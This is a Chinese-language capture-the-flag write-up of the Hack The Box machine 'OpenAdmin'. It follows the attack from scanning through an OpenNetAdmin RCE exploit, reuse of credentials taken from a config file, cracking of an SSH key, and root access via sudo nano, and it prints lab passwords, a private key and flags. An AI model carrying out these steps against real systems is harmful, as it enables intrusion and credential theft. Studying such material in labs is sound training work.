Basic Scan

Nmap Scan

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~/Documents/HTB/OpenAdmin root@kali
❯ cat nmap.txt
# Nmap 7.80 scan initiated Sun Jan 26 13:42:29 2020 as: nmap -sV -sC -oN nmap.txt 10.10.10.171
Nmap scan report for 10.10.10.171
Host is up (0.28s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan 26 13:43:56 2020 -- 1 IP address (1 host up) scanned in 87.35 seconds

Nmap显示开放两个端口，22端口无望，只能从80端口入手。

DirScan

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~/Documents/HTB/OpenAdmin root@kali
❯ cat gobuster.txt
http://10.10.10.171/music (Status: 301) [Size: 312]
http://10.10.10.171/artwork (Status: 301) [Size: 314]
http://10.10.10.171/sierra (Status: 301) [Size: 313]
http://10.10.10.171/server-status (Status: 403) [Size: 277]
http://10.10.10.171/ona (Status: 301) [Size: 310]

显示有许多目录，查看ona后，发现其存在rce。[v18.1.1]

User.txt

LowPriv Shell

查找再三，决定使用该PoC[https://github.com/amriunix/ona-rce\]

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~/Documents/HTB/OpenAdmin root@kali 9s
❯ python3 ona-rce.py exploit http://10.10.10.171/ona/
[*] OpenNetAdmin 18.1.1 - Remote Code Execution
[+] Connecting !
$ whoami
www-data

Migrate to Hight Privilege

Step 1.

枚举之后发现数据库密码,以及三个用户，经过测试，该密码同时适用于用户 jimmy

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www-data@openadmin:/var/www/html/ona/local/config$ cat database_settings.inc.php
<?php

$ona_contexts=array (
  'DEFAULT' =>
  array (
    'databases' =>
    array (
      0 =>
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);
?>
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www-data@openadmin:/var/www/html/ona/local/config$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash
joanna:x:1001:1001:,,,:/home/joanna:/bin/bash

Step 2.

在网页根目录下，发现internal内存在登录该页面密码的密文，目录下main.php内的内容[cat /home/joanna/.ssh/id_rsa]。

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jimmy@openadmin:/var/www/internal$ cat index.php
...
      <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
          <?php
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1')
...

对该密问进行验证，其密码类型为SHA-512，在线对其破解。得到明文为 Revealed 同时发现internal开放在52846端口，并没有对外网开放。

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jimmy@openadmin:/etc/apache2/sites-available$ cat internal.conf
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

使用SSH进行端口转发。

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~/Documents/HTB/OpenAdmin root@kali
❯ ssh -L 52846:127.0.0.1:52846 jimmy@10.10.10.171
jimmy@10.10.10.171's password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Jan 29 03:29:54 UTC 2020

  System load:  0.0               Processes:             128
  Usage of /:   49.0% of 7.81GB   Users logged in:       1
  Memory usage: 19%               IP address for ens160: 10.10.10.171
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

41 packages can be updated.
12 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Jan 29 03:11:59 2020 from 10.10.14.13
jimmy@openadmin:~$

访问该页面，得到ssk key

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~/Documents/HTB/OpenAdmin root@kali
❯ cat id_rsa.hash
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----

使用john进行破解，得到该key的密钥

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~/Documents/HTB/OpenAdmin root@kali
❯ cat cracked.txt
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
bloodninjas      (id_rsa.hash)

使用该密钥登录，得到User.txt

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~/Documents/HTB/OpenAdmin root@kali
❯ ssh -i id_rsa.hash joanna@10.10.10.171
Enter passphrase for key 'id_rsa.hash':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Jan 29 03:40:45 UTC 2020

  System load:  0.01              Processes:             127
  Usage of /:   49.0% of 7.81GB   Users logged in:       0
  Memory usage: 19%               IP address for ens160: 10.10.10.171
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

41 packages can be updated.
12 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Jan  2 21:12:40 2020 from 10.10.14.3
joanna@openadmin:~$ ls
user.txt
joanna@openadmin:~$ cat user.txt
c9b2cf07d40807e62af62660f0c81b5f
joanna@openadmin:~$

Root.txt

sudo -l 发现我们可以不输入密码执行nano 对/opt/priv进行编辑，结合GTFO获得root.txt

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# python3 -c 'import pty;pty.spawn("/bin/bash")'
root@openadmin:~# cd /root
root@openadmin:/root# ls
root.txt
root@openadmin:/root# cat root.txt
2f907ed450b361b2c2bf4e8795d5b561
root@openadmin:/root#